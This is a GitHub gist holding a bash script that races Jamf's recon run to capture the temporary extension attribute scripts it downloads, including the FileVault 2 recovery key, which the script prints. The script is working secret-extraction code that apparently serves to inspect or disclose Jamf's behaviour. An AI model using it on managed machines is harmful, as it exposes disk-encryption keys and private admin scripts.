Last active
January 29, 2022 16:20
-
-
Save brunerd/6e95ac228ec84f9a845c140cb1dca381 to your computer and use it in GitHub Desktop.
Grab Jamf Extension Attributes (including recovery key) as they come down during recon
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Joel Bruner - EA Grabber: Surreptitiously grabs Jamf Extension Attributes (EAs) during recon | |
#touch file for debug | |
[ -f /tmp/debug ] && set -x | |
############# | |
# VARIABLES # | |
############# | |
#get console user | |
consoleUser=$(stat -f %Su /dev/console) | |
#get home folder path of console user for output | |
consoleUserHome=$(dscl . read /Users/"${consoleUser}" NFSHomeDirectory | awk -F ": " '{print $2}') | |
#used for the output folder | |
dateStamp=$(date +"%Y-%m-%d %H.%M") | |
#date stamped named folder for the root | |
capturePath_Root="${consoleUserHome}/Desktop/EAGrabber_${dateStamp}" | |
#sub folders | |
capturePath_EA_Raw="${capturePath_Root}/EAs_Raw" | |
capturePath_EA_Renamed="${capturePath_Root}/EAs_Renamed" | |
capturePath_FV2Key="${capturePath_Root}/FV2Key" | |
reconOutputFile="${capturePath_Root}/verboseReconRAW.txt" | |
processCaptureFile="${capturePath_Root}/processCapture.log" | |
EANamesFile="${capturePath_Root}/EA_Names.txt" | |
#where jamf puts it's scripts when it runs | |
jamfTempFolder="/Library/Application Support/JAMF/tmp" | |
############# | |
# FUNCTIONS # | |
############# | |
function captureFiles | |
{ | |
#make root folder and it's sub folder | |
mkdir -p "${capturePath_EA_Raw}" | |
#to protect from runaway the script will kill itself neatly if not done in 3 minutes | |
( sleep 480; kill -9 $$ ) & | |
suicideWatchPID=$! | |
#flush any temp files remaining in here | |
rm "${jamfTempFolder}"/* 2>/dev/null | |
echo "Starting jamf recon..." | |
#start recon in background and get the output text into a file | |
jamf recon -verbose 2>/dev/null 1>"${reconOutputFile}" & | |
#until the jamf recon process is done, loop and hardlink to scripts | |
while [ "$(ps auxww | grep -c [j]amf\ recon)" -ne 0 ]; do | |
#find all files and make hard links in capture folder | |
find "${jamfTempFolder}" -exec ln "{}" "${capturePath_EA_Raw}"/ 2>/dev/null \; | |
done | |
} | |
function processFiles | |
{ | |
#make folder for key | |
mkdir "${capturePath_FV2Key}" | |
#remove the tmp file (of ethernet MAC addresses) sometimes captured | |
rm "${capturePath_EA_Raw}"/*tmp 2>/dev/null | |
rm "${capturePath_EA_Raw}"/*pid 2>/dev/null | |
#count the files, use bc to trim wc's output | |
captureCount=$(wc -l <<< "$(find "${capturePath_EA_Raw}" -type f)" | bc) | |
echo "Captured ${captureCount} extension attributes..." | |
#find the fv2 file, echo out result, then and move it | |
for file in "${capturePath_EA_Raw}"/*; do | |
#get 0 or 1 for match | |
keyFound=$(grep -c '<key>Password</key>' "$file" 2>/dev/null) | |
#if 1 we have a match let's print it | |
if [ "${keyFound}" -eq 1 ]; then | |
#get key data and echo it out | |
FV2Key=$(/usr/libexec/PlistBuddy -c "print Password" "$file" 2>/dev/null) | |
echo "FileVault 2 Key: ${FV2Key}" | |
#move file into fv2 folder | |
mv "${file}" "${capturePath_FV2Key}"/fv2key.plist | |
break; | |
fi | |
done | |
} | |
function renameFiles | |
{ | |
#make new folder | |
mkdir "${capturePath_EA_Renamed}" | |
#chage IFS so only newlines make new array elements | |
IFS=$'\n' | |
#get the file names from the verbose recon output file | |
filenames=$(grep "Running script for the extension attribute" "${reconOutputFile}" | awk -F 'attribute ' '{print $NF}') | |
filenames_Array=( ${filenames} ) | |
echo "${filenames}" > "${EANamesFile}" | |
#get all the raw file names from newest to oldest | |
rawFiles_Array=( $(ls -r1t "${capturePath_EA_Raw}") ) | |
echo "Attempting to rename files..." | |
#rename all the EAs in order - the weakness here is that we expect to have gotten all the files | |
#but if we missed a file this or something gets out of sequence it'll be off (that's why we have the saw folder) | |
for ((i=0; i < ${#filenames_Array[@]}; i++ )); do | |
[ -z "${rawFiles_Array[$i]}" ] && continue | |
#determine the file extension from the first #! line | |
case "$(head -n1 "${capturePath_EA_Raw}/${rawFiles_Array[$i]}")" in | |
*python* ) | |
extension="py" ;; | |
#default to shell | |
* ) | |
extension="sh" ;; | |
esac | |
#make a file copy from raw to the renamed folder | |
cp "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Renamed}/${filenames_Array[$i]}.${extension}" | |
#at the very least add .sh to the end so spotlight works on them instead of the Unix executable icon | |
mv "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Raw}/${rawFiles_Array[$i]}".sh | |
done | |
} | |
function systemCheck | |
{ | |
#run this as root so we don't get prompted for password when sudo jamf runs | |
if [ "${USER}" != 'root' ]; then | |
echo "Please run with sudo" | |
exit | |
fi | |
#runs finishUp if INT TERM or HUP signal received | |
trap 'finishUp' TERM INT HUP | |
} | |
function finishUp | |
{ | |
#kill the background suicide process if it still exists (tail cuts header off ps) | |
[ -n "$(ps -p ${suicideWatchPID} 2>/dev/null | tail -n +2)" ] && kill -9 "${suicideWatchPID}" | |
#own the folder for console user | |
chown -R "${consoleUser}":staff "${capturePath_Root}" | |
echo "Done." | |
echo "Opening results in ${capturePath_Root}" | |
#open it for the console user | |
su $consoleUser -c "open \"${capturePath_Root}\"" | |
} | |
######## | |
# MAIN # | |
######## | |
systemCheck | |
captureFiles | |
processFiles | |
renameFiles | |
finishUp | |
exit |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment